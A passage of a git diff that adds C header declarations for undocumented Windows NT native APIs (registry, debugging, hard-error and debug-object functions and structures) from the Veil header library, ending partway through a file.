+NTAPI +NtFlushKey( + _In_ HANDLE KeyHandle +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwFlushKey( + _In_ HANDLE KeyHandle +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtCompactKeys( + _In_ ULONG Count, + _In_reads_(Count) HANDLE KeyArray[] +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwCompactKeys( + _In_ ULONG Count, + _In_reads_(Count) HANDLE KeyArray[] +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtCompressKey( + _In_ HANDLE Key +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwCompressKey( + _In_ HANDLE Key +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtLoadKey( + _In_ POBJECT_ATTRIBUTES TargetKey, + _In_ POBJECT_ATTRIBUTES SourceFile +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwLoadKey( + _In_ POBJECT_ATTRIBUTES TargetKey, + _In_ POBJECT_ATTRIBUTES SourceFile +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtLoadKey2( + _In_ POBJECT_ATTRIBUTES TargetKey, + _In_ POBJECT_ATTRIBUTES SourceFile, + _In_ ULONG Flags +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwLoadKey2( + _In_ POBJECT_ATTRIBUTES TargetKey, + _In_ POBJECT_ATTRIBUTES SourceFile, + _In_ ULONG Flags +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtLoadKeyEx( + _In_ POBJECT_ATTRIBUTES TargetKey, + _In_ POBJECT_ATTRIBUTES SourceFile, + _In_ ULONG Flags, + _In_opt_ HANDLE TrustClassKey, // this and below were added on Win10 + _In_opt_ HANDLE Event, + _In_opt_ ACCESS_MASK DesiredAccess, + _Out_opt_ PHANDLE RootHandle, + _Reserved_ PVOID Reserved // previously PIO_STATUS_BLOCK +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwLoadKeyEx( + _In_ POBJECT_ATTRIBUTES TargetKey, + _In_ POBJECT_ATTRIBUTES SourceFile, + _In_ ULONG Flags, + _In_opt_ HANDLE TrustClassKey, // this and below were added on Win10 + _In_opt_ HANDLE Event, + _In_opt_ ACCESS_MASK DesiredAccess, + _Out_opt_ PHANDLE RootHandle, + _Reserved_ PVOID Reserved // previously PIO_STATUS_BLOCK +); + +// rev by tyranid +#if (NTDDI_VERSION >= NTDDI_WIN10_VB) +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtLoadKey3( + _In_ POBJECT_ATTRIBUTES TargetKey, + _In_ POBJECT_ATTRIBUTES SourceFile, + _In_ ULONG Flags, + _In_reads_(LoadEntryCount) PKEY_LOAD_ENTRY LoadEntries, + _In_ ULONG LoadEntryCount, + _In_opt_ ACCESS_MASK DesiredAccess, + _Out_opt_ PHANDLE RootHandle, + _Reserved_ PVOID Reserved +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwLoadKey3( + _In_ POBJECT_ATTRIBUTES TargetKey, + _In_ POBJECT_ATTRIBUTES SourceFile, + _In_ ULONG Flags, + _In_reads_(LoadEntryCount) PKEY_LOAD_ENTRY LoadEntries, + _In_ ULONG LoadEntryCount, + _In_opt_ ACCESS_MASK DesiredAccess, + _Out_opt_ PHANDLE RootHandle, + _Reserved_ PVOID Reserved +); +#endif // NTDDI_VERSION >= NTDDI_WIN10_VB + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtReplaceKey( + _In_ POBJECT_ATTRIBUTES NewFile, + _In_ HANDLE TargetHandle, + _In_ POBJECT_ATTRIBUTES OldFile +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwReplaceKey( + _In_ POBJECT_ATTRIBUTES NewFile, + _In_ HANDLE TargetHandle, + _In_ POBJECT_ATTRIBUTES OldFile +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtSaveKey( + _In_ HANDLE KeyHandle, + _In_ HANDLE FileHandle +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwSaveKey( + _In_ HANDLE KeyHandle, + _In_ HANDLE FileHandle +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtSaveKeyEx( + _In_ HANDLE KeyHandle, + _In_ HANDLE FileHandle, + _In_ ULONG Format +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwSaveKeyEx( + _In_ HANDLE KeyHandle, + _In_ HANDLE FileHandle, + _In_ ULONG Format +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtSaveMergedKeys( + _In_ HANDLE HighPrecedenceKeyHandle, + _In_ HANDLE LowPrecedenceKeyHandle, + _In_ HANDLE FileHandle +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwSaveMergedKeys( + _In_ HANDLE HighPrecedenceKeyHandle, + _In_ HANDLE LowPrecedenceKeyHandle, + _In_ HANDLE FileHandle +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtRestoreKey( + _In_ HANDLE KeyHandle, + _In_ HANDLE FileHandle, + _In_ ULONG Flags +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwRestoreKey( + _In_ HANDLE KeyHandle, + _In_opt_ HANDLE FileHandle, + _In_ ULONG Flags +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtUnloadKey( + _In_ POBJECT_ATTRIBUTES TargetKey +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwUnloadKey( + _In_ POBJECT_ATTRIBUTES TargetKey +); + +// +// NtUnloadKey2 Flags (from winnt.h) +// +//#define REG_FORCE_UNLOAD 1 +//#define REG_UNLOAD_LEGAL_FLAGS (REG_FORCE_UNLOAD) + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtUnloadKey2( + _In_ POBJECT_ATTRIBUTES TargetKey, + _In_ ULONG Flags +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwUnloadKey2( + _In_ POBJECT_ATTRIBUTES TargetKey, + _In_ ULONG Flags +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtUnloadKeyEx( + _In_ POBJECT_ATTRIBUTES TargetKey, + _In_opt_ HANDLE Event +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwUnloadKeyEx( + _In_ POBJECT_ATTRIBUTES TargetKey, + _In_opt_ HANDLE Event +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtNotifyChangeKey( + _In_ HANDLE KeyHandle, + _In_opt_ HANDLE Event, + _In_opt_ PIO_APC_ROUTINE ApcRoutine, + _In_opt_ PVOID ApcContext, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _In_ ULONG CompletionFilter, + _In_ BOOLEAN WatchTree, + _Out_writes_bytes_opt_(BufferSize) PVOID Buffer, + _In_ ULONG BufferSize, + _In_ BOOLEAN Asynchronous +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwNotifyChangeKey( + _In_ HANDLE KeyHandle, + _In_opt_ HANDLE Event, + _In_opt_ PIO_APC_ROUTINE ApcRoutine, + _In_opt_ PVOID ApcContext, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _In_ ULONG CompletionFilter, + _In_ BOOLEAN WatchTree, + _Out_writes_bytes_opt_(BufferSize) PVOID Buffer, + _In_ ULONG BufferSize, + _In_ BOOLEAN Asynchronous +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtNotifyChangeMultipleKeys( + _In_ HANDLE MasterKeyHandle, + _In_opt_ ULONG Count, + _In_reads_opt_(Count) OBJECT_ATTRIBUTES SubordinateObjects[], + _In_opt_ HANDLE Event, + _In_opt_ PIO_APC_ROUTINE ApcRoutine, + _In_opt_ PVOID ApcContext, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _In_ ULONG CompletionFilter, + _In_ BOOLEAN WatchTree, + _Out_writes_bytes_opt_(BufferSize) PVOID Buffer, + _In_ ULONG BufferSize, + _In_ BOOLEAN Asynchronous +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwNotifyChangeMultipleKeys( + _In_ HANDLE MasterKeyHandle, + _In_opt_ ULONG Count, + _In_reads_opt_(Count) OBJECT_ATTRIBUTES SubordinateObjects[], + _In_opt_ HANDLE Event, + _In_opt_ PIO_APC_ROUTINE ApcRoutine, + _In_opt_ PVOID ApcContext, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _In_ ULONG CompletionFilter, + _In_ BOOLEAN WatchTree, + _Out_writes_bytes_opt_(BufferSize) PVOID Buffer, + _In_ ULONG BufferSize, + _In_ BOOLEAN Asynchronous +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtQueryOpenSubKeys( + _In_ POBJECT_ATTRIBUTES TargetKey, + _Out_ PULONG HandleCount +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwQueryOpenSubKeys( + _In_ POBJECT_ATTRIBUTES TargetKey, + _Out_ PULONG HandleCount +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtQueryOpenSubKeysEx( + _In_ POBJECT_ATTRIBUTES TargetKey, + _In_ ULONG BufferLength, + _Out_writes_bytes_opt_(BufferLength) PVOID Buffer, + _Out_ PULONG RequiredSize +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwQueryOpenSubKeysEx( + _In_ POBJECT_ATTRIBUTES TargetKey, + _In_ ULONG BufferLength, + _Out_writes_bytes_opt_(BufferLength) PVOID Buffer, + _Out_ PULONG RequiredSize +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtInitializeRegistry( + _In_ USHORT BootCondition +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwInitializeRegistry( + _In_ USHORT BootCondition +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtLockRegistryKey( + _In_ HANDLE KeyHandle +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwLockRegistryKey( + _In_ HANDLE KeyHandle +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtLockProductActivationKeys( + _Inout_opt_ ULONG* pPrivateVer, + _Out_opt_ ULONG* pSafeMode +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwLockProductActivationKeys( + _Inout_opt_ ULONG* pPrivateVer, + _Out_opt_ ULONG* pSafeMode +); + +#if (NTDDI_VERSION >= NTDDI_VISTA) +// private +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtFreezeRegistry( + _In_ ULONG TimeOutInSeconds +); + +// private +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwFreezeRegistry( + _In_ ULONG TimeOutInSeconds +); + +// private +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtThawRegistry( + VOID +); + +// private +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwThawRegistry( + VOID +); +#endif + +#if (NTDDI_VERSION >= NTDDI_WIN10_TH2) +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtCreateRegistryTransaction( + _Out_ HANDLE* RegistryTransactionHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_opt_ POBJECT_ATTRIBUTES ObjAttributes, + _Reserved_ ULONG CreateOptions +); + +_Must_inspect_result_ +_IRQL_requires_max_(PASSIVE_LEVEL) +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +ZwCreateRegistryTransaction( + _Out_ PHANDLE TransactionHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_opt_ ULONG CreateOptions +); + +_Must_inspect_result_ +_IRQL_requires_max_(PASSIVE_LEVEL) +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtOpenRegistryTransaction( + _Out_ PHANDLE TransactionHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwOpenRegistryTransaction( + _Out_ HANDLE* RegistryTransactionHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjAttributes +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtCommitRegistryTransaction( + _In_ HANDLE RegistryTransactionHandle, + _Reserved_ ULONG Flags +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +ZwCommitRegistryTransaction( + _In_ HANDLE TransactionHandle, + _In_ ULONG Flags +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtRollbackRegistryTransaction( + _In_ HANDLE TransactionHandle, + _In_ ULONG Flags +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwRollbackRegistryTransaction( + _In_ HANDLE RegistryTransactionHandle, + _Reserved_ ULONG Flags +); +#endif // NTDDI_VERSION >= NTDDI_WIN10_TH2 + +VEIL_END() + +#if _MSC_VER >= 1200 +#pragma warning(pop) +#endif diff --git a/include/Veil/Veil/Veil.System.Debug.h b/include/Veil/Veil/Veil.System.Debug.h new file mode 100644 index 0000000..60911f0 --- /dev/null +++ b/include/Veil/Veil/Veil.System.Debug.h @@ -0,0 +1,771 @@ +/* + * PROJECT: Veil + * FILE: Veil.h + * PURPOSE: Definition for the Windows Internal API from ntdll.dll, + * samlib.dll and winsta.dll + * + * LICENSE: Relicensed under The MIT License from The CC BY 4.0 License + * + * DEVELOPER: MiroKaku (50670906+MiroKaku@users.noreply.github.com) + */ + +/* + * PROJECT: Mouri's Internal NT API Collections (MINT) + * FILE: MINT.h + * PURPOSE: Definition for the Windows Internal API from ntdll.dll, + * samlib.dll and winsta.dll + * + * LICENSE: Relicensed under The MIT License from The CC BY 4.0 License + * + * DEVELOPER: Mouri_Naruto (Mouri_Naruto AT Outlook.com) + */ + +/* + * This file is part of the Process Hacker project - https://processhacker.sf.io/ + * + * You can redistribute this file and/or modify it under the terms of the + * Attribution 4.0 International (CC BY 4.0) license. + * + * You must give appropriate credit, provide a link to the license, and + * indicate if changes were made. You may do so in any reasonable manner, but + * not in any way that suggests the licensor endorses you or your use. + */ + +#pragma once + +// Warnings which disabled for compiling +#if _MSC_VER >= 1200 +#pragma warning(push) +// nonstandard extension used : nameless struct/union +#pragma warning(disable:4201) +// 'struct_name' : structure was padded due to __declspec(align()) +#pragma warning(disable:4324) +// 'enumeration': a forward declaration of an unscoped enumeration must have an +// underlying type (int assumed) +#pragma warning(disable:4471) +#endif + +VEIL_BEGIN() + +#if (_MSC_FULL_VER >= 150030729) && !defined(IMPORT_NATIVE_DBG_BREAK) + +#define DbgBreakPoint __debugbreak + +#else + +__analysis_noreturn +VOID +NTAPI +DbgBreakPoint( + VOID +); +#endif + +#ifndef _KERNEL_MODE +NTSYSAPI +VOID +NTAPI +DbgUserBreakPoint( + VOID +); +#endif // !_KERNEL_MODE + +#define DBG_STATUS_CONTROL_C 1 +#define DBG_STATUS_SYSRQ 2 +#define DBG_STATUS_BUGCHECK_FIRST 3 +#define DBG_STATUS_BUGCHECK_SECOND 4 +#define DBG_STATUS_FATAL 5 +#define DBG_STATUS_DEBUG_CONTROL 6 +#define DBG_STATUS_WORKER 7 + +ULONG +__cdecl +DbgPrint( + _In_z_ _Printf_format_string_ PCSTR Format, + ... +); + +NTSYSAPI +ULONG +__cdecl +DbgPrintEx( + _In_ ULONG ComponentId, + _In_ ULONG Level, + _In_z_ _Printf_format_string_ PCSTR Format, + ... +); + +NTSYSAPI +ULONG +NTAPI +vDbgPrintEx( + _In_ ULONG ComponentId, + _In_ ULONG Level, + _In_z_ PCCH Format, + _In_ va_list arglist +); + +NTSYSAPI +ULONG +NTAPI +vDbgPrintExWithPrefix( + _In_z_ PCCH Prefix, + _In_ ULONG ComponentId, + _In_ ULONG Level, + _In_z_ PCCH Format, + _In_ va_list arglist +); + +NTSYSAPI +ULONG +__cdecl +DbgPrintReturnControlC( + _In_z_ _Printf_format_string_ PCSTR Format, + ... +); + +NTSYSAPI +NTSTATUS +NTAPI +DbgQueryDebugFilterState( + _In_ ULONG ComponentId, + _In_ ULONG Level +); + +NTSYSAPI +NTSTATUS +NTAPI +DbgSetDebugFilterState( + _In_ ULONG ComponentId, + _In_ ULONG Level, + _In_ BOOLEAN State +); + +NTSYSAPI +ULONG +NTAPI +DbgPrompt( + _In_z_ PCCH Prompt, + _Out_writes_bytes_(Length) PCH Response, + _In_ ULONG Length +); + +// +// System Debug +// + +// private +typedef enum _SYSDBG_COMMAND +{ + SysDbgQueryModuleInformation, + SysDbgQueryTraceInformation, + SysDbgSetTracepoint, + SysDbgSetSpecialCall, + SysDbgClearSpecialCalls, + SysDbgQuerySpecialCalls, + SysDbgBreakPoint, + SysDbgQueryVersion, + SysDbgReadVirtual, + SysDbgWriteVirtual, + SysDbgReadPhysical, + SysDbgWritePhysical, + SysDbgReadControlSpace, + SysDbgWriteControlSpace, + SysDbgReadIoSpace, + SysDbgWriteIoSpace, + SysDbgReadMsr, + SysDbgWriteMsr, + SysDbgReadBusData, + SysDbgWriteBusData, + SysDbgCheckLowMemory, + SysDbgEnableKernelDebugger, + SysDbgDisableKernelDebugger, + SysDbgGetAutoKdEnable, + SysDbgSetAutoKdEnable, + SysDbgGetPrintBufferSize, + SysDbgSetPrintBufferSize, + SysDbgGetKdUmExceptionEnable, + SysDbgSetKdUmExceptionEnable, + SysDbgGetTriageDump, + SysDbgGetKdBlockEnable, + SysDbgSetKdBlockEnable, + SysDbgRegisterForUmBreakInfo, + SysDbgGetUmBreakPid, + SysDbgClearUmBreakPid, + SysDbgGetUmAttachPid, + SysDbgClearUmAttachPid, + SysDbgGetLiveKernelDump +} SYSDBG_COMMAND, * PSYSDBG_COMMAND; + +typedef struct _SYSDBG_VIRTUAL +{ + PVOID Address; + PVOID Buffer; + ULONG Request; +} SYSDBG_VIRTUAL, * PSYSDBG_VIRTUAL; + +typedef struct _SYSDBG_PHYSICAL +{ + PHYSICAL_ADDRESS Address; + PVOID Buffer; + ULONG Request; +} SYSDBG_PHYSICAL, * PSYSDBG_PHYSICAL; + +typedef struct _SYSDBG_CONTROL_SPACE +{ + ULONG64 Address; + PVOID Buffer; + ULONG Request; + ULONG Processor; +} SYSDBG_CONTROL_SPACE, * PSYSDBG_CONTROL_SPACE; + +typedef struct _SYSDBG_IO_SPACE +{ + ULONG64 Address; + PVOID Buffer; + ULONG Request; + enum _INTERFACE_TYPE InterfaceType; + ULONG BusNumber; + ULONG AddressSpace; +} SYSDBG_IO_SPACE, * PSYSDBG_IO_SPACE; + +typedef struct _SYSDBG_MSR +{ + ULONG Msr; + ULONG64 Data; +} SYSDBG_MSR, * PSYSDBG_MSR; + +typedef struct _SYSDBG_BUS_DATA +{ + ULONG Address; + PVOID Buffer; + ULONG Request; + enum _BUS_DATA_TYPE BusDataType; + ULONG BusNumber; + ULONG SlotNumber; +} SYSDBG_BUS_DATA, * PSYSDBG_BUS_DATA; + +// private +typedef struct _SYSDBG_TRIAGE_DUMP +{ + ULONG Flags; + ULONG BugCheckCode; + ULONG_PTR BugCheckParam1; + ULONG_PTR BugCheckParam2; + ULONG_PTR BugCheckParam3; + ULONG_PTR BugCheckParam4; + ULONG ProcessHandles; + ULONG ThreadHandles; + PHANDLE Handles; +} SYSDBG_TRIAGE_DUMP, * PSYSDBG_TRIAGE_DUMP; + +// private +typedef union _SYSDBG_LIVEDUMP_CONTROL_FLAGS +{ + struct + { + ULONG UseDumpStorageStack : 1; + ULONG CompressMemoryPagesData : 1; + ULONG IncludeUserSpaceMemoryPages : 1; + ULONG AbortIfMemoryPressure : 1; // REDSTONE4 + ULONG Reserved : 28; + }; + ULONG AsUlong; +} SYSDBG_LIVEDUMP_CONTROL_FLAGS, * PSYSDBG_LIVEDUMP_CONTROL_FLAGS; + +// private +typedef union _SYSDBG_LIVEDUMP_CONTROL_ADDPAGES +{ + struct + { + ULONG HypervisorPages : 1; + ULONG Reserved : 31; + }; + ULONG AsUlong; +} SYSDBG_LIVEDUMP_CONTROL_ADDPAGES, * PSYSDBG_LIVEDUMP_CONTROL_ADDPAGES; + +#define SYSDBG_LIVEDUMP_CONTROL_VERSION 1 + +// private +typedef struct _SYSDBG_LIVEDUMP_CONTROL +{ + ULONG Version; + ULONG BugCheckCode; + ULONG_PTR BugCheckParam1; + ULONG_PTR BugCheckParam2; + ULONG_PTR BugCheckParam3; + ULONG_PTR BugCheckParam4; + HANDLE DumpFileHandle; + HANDLE CancelEventHandle; + SYSDBG_LIVEDUMP_CONTROL_FLAGS Flags; + SYSDBG_LIVEDUMP_CONTROL_ADDPAGES AddPagesControl; +} SYSDBG_LIVEDUMP_CONTROL, * PSYSDBG_LIVEDUMP_CONTROL; + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtSystemDebugControl( + _In_ SYSDBG_COMMAND Command, + _Inout_updates_bytes_opt_(InputBufferLength) PVOID InputBuffer, + _In_ ULONG InputBufferLength, + _Out_writes_bytes_opt_(OutputBufferLength) PVOID OutputBuffer, + _In_ ULONG OutputBufferLength, + _Out_opt_ PULONG ReturnLength +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwSystemDebugControl( + _In_ SYSDBG_COMMAND Command, + _Inout_updates_bytes_opt_(InputBufferLength) PVOID InputBuffer, + _In_ ULONG InputBufferLength, + _Out_writes_bytes_opt_(OutputBufferLength) PVOID OutputBuffer, + _In_ ULONG OutputBufferLength, + _Out_opt_ PULONG ReturnLength +); + +// +// Hard errors +// + +typedef enum _HARDERROR_RESPONSE_OPTION +{ + OptionAbortRetryIgnore, + OptionOk, + OptionOkCancel, + OptionRetryCancel, + OptionYesNo, + OptionYesNoCancel, + OptionShutdownSystem, + OptionOkNoWait, + OptionCancelTryContinue +} HARDERROR_RESPONSE_OPTION; + +typedef enum _HARDERROR_RESPONSE +{ + ResponseReturnToCaller, + ResponseNotHandled, + ResponseAbort, + ResponseCancel, + ResponseIgnore, + ResponseNo, + ResponseOk, + ResponseRetry, + ResponseYes, + ResponseTryAgain, + ResponseContinue +} HARDERROR_RESPONSE; + +#define HARDERROR_OVERRIDE_ERRORMODE 0x10000000 + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtRaiseHardError( + _In_ NTSTATUS ErrorStatus, + _In_ ULONG NumberOfParameters, + _In_ ULONG UnicodeStringParameterMask, + _In_reads_(NumberOfParameters) PULONG_PTR Parameters, + _In_ ULONG ValidResponseOptions, + _Out_ PULONG Response +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwRaiseHardError( + _In_ NTSTATUS ErrorStatus, + _In_ ULONG NumberOfParameters, + _In_ ULONG UnicodeStringParameterMask, + _In_reads_(NumberOfParameters) PULONG_PTR Parameters, + _In_ ULONG ValidResponseOptions, + _Out_ PULONG Response +); + +// +// Exception +// + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtRaiseException( + _In_ PEXCEPTION_RECORD ExceptionRecord, + _In_ PCONTEXT ContextRecord, + _In_ BOOLEAN FirstChance +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwRaiseException( + _In_ PEXCEPTION_RECORD ExceptionRecord, + _In_ PCONTEXT ContextRecord, + _In_ BOOLEAN FirstChance +); + +// +// Debug Filter +// + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtQueryDebugFilterState( + _In_ ULONG ComponentId, + _In_ ULONG Level +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwQueryDebugFilterState( + _In_ ULONG ComponentId, + _In_ ULONG Level +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtSetDebugFilterState( + _In_ ULONG ComponentId, + _In_ ULONG Level, + _In_ BOOLEAN State +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwSetDebugFilterState( + _In_ ULONG ComponentId, + _In_ ULONG Level, + _In_ BOOLEAN State +); + +// +// Debug Object +// + +typedef struct _DBGKM_EXCEPTION +{ + EXCEPTION_RECORD ExceptionRecord; + ULONG FirstChance; +} DBGKM_EXCEPTION, * PDBGKM_EXCEPTION; + +typedef struct _DBGKM_CREATE_THREAD +{ + ULONG SubSystemKey; + PVOID StartAddress; +} DBGKM_CREATE_THREAD, * PDBGKM_CREATE_THREAD; + +typedef struct _DBGKM_CREATE_PROCESS +{ + ULONG SubSystemKey; + HANDLE FileHandle; + PVOID BaseOfImage; + ULONG DebugInfoFileOffset; + ULONG DebugInfoSize; + DBGKM_CREATE_THREAD InitialThread; +} DBGKM_CREATE_PROCESS, * PDBGKM_CREATE_PROCESS; + +typedef struct _DBGKM_EXIT_THREAD +{ + NTSTATUS ExitStatus; +} DBGKM_EXIT_THREAD, * PDBGKM_EXIT_THREAD; + +typedef struct _DBGKM_EXIT_PROCESS +{ + NTSTATUS ExitStatus; +} DBGKM_EXIT_PROCESS, * PDBGKM_EXIT_PROCESS; + +typedef struct _DBGKM_LOAD_DLL +{ + HANDLE FileHandle; + PVOID BaseOfDll; + ULONG DebugInfoFileOffset; + ULONG DebugInfoSize; + PVOID NamePointer; +} DBGKM_LOAD_DLL, * PDBGKM_LOAD_DLL; + +typedef struct _DBGKM_UNLOAD_DLL +{ + PVOID BaseAddress; +} DBGKM_UNLOAD_DLL, * PDBGKM_UNLOAD_DLL; + +typedef enum _DBG_STATE +{ + DbgIdle, + DbgReplyPending, + DbgCreateThreadStateChange, + DbgCreateProcessStateChange, + DbgExitThreadStateChange, + DbgExitProcessStateChange, + DbgExceptionStateChange, + DbgBreakpointStateChange, + DbgSingleStepStateChange, + DbgLoadDllStateChange, + DbgUnloadDllStateChange +} DBG_STATE, * PDBG_STATE; + +typedef struct _DBGUI_CREATE_THREAD +{ + HANDLE HandleToThread; + DBGKM_CREATE_THREAD NewThread; +} DBGUI_CREATE_THREAD, * PDBGUI_CREATE_THREAD; + +typedef struct _DBGUI_CREATE_PROCESS +{ + HANDLE HandleToProcess; + HANDLE HandleToThread; + DBGKM_CREATE_PROCESS NewProcess; +} DBGUI_CREATE_PROCESS, * PDBGUI_CREATE_PROCESS; + +typedef struct _DBGUI_WAIT_STATE_CHANGE +{ + DBG_STATE NewState; + CLIENT_ID AppClientId; + union + { + DBGKM_EXCEPTION Exception; + DBGUI_CREATE_THREAD CreateThread; + DBGUI_CREATE_PROCESS CreateProcessInfo; + DBGKM_EXIT_THREAD ExitThread; + DBGKM_EXIT_PROCESS ExitProcess; + DBGKM_LOAD_DLL LoadDll; + DBGKM_UNLOAD_DLL UnloadDll; + } StateInfo; +} DBGUI_WAIT_STATE_CHANGE, * PDBGUI_WAIT_STATE_CHANGE; + +#define DEBUG_READ_EVENT 0x0001 +#define DEBUG_PROCESS_ASSIGN 0x0002 +#define DEBUG_SET_INFORMATION 0x0004 +#define DEBUG_QUERY_INFORMATION 0x0008 +#define DEBUG_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED | SYNCHRONIZE | \ + DEBUG_READ_EVENT | DEBUG_PROCESS_ASSIGN | DEBUG_SET_INFORMATION | \ + DEBUG_QUERY_INFORMATION) + +#define DEBUG_KILL_ON_CLOSE 0x1 + +typedef enum _DEBUGOBJECTINFOCLASS +{ + DebugObjectUnusedInformation, + DebugObjectKillProcessOnExitInformation, // s: ULONG + MaxDebugObjectInfoClass +} DEBUGOBJECTINFOCLASS, * PDEBUGOBJECTINFOCLASS; + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtCreateDebugObject( + _Out_ PHANDLE DebugObjectHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ ULONG Flags +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwCreateDebugObject( + _Out_ PHANDLE DebugObjectHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ ULONG Flags +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtDebugActiveProcess( + _In_ HANDLE ProcessHandle, + _In_ HANDLE DebugObjectHandle +); + +_IRQL_requires_max_(PASSIVE_LEVEL) 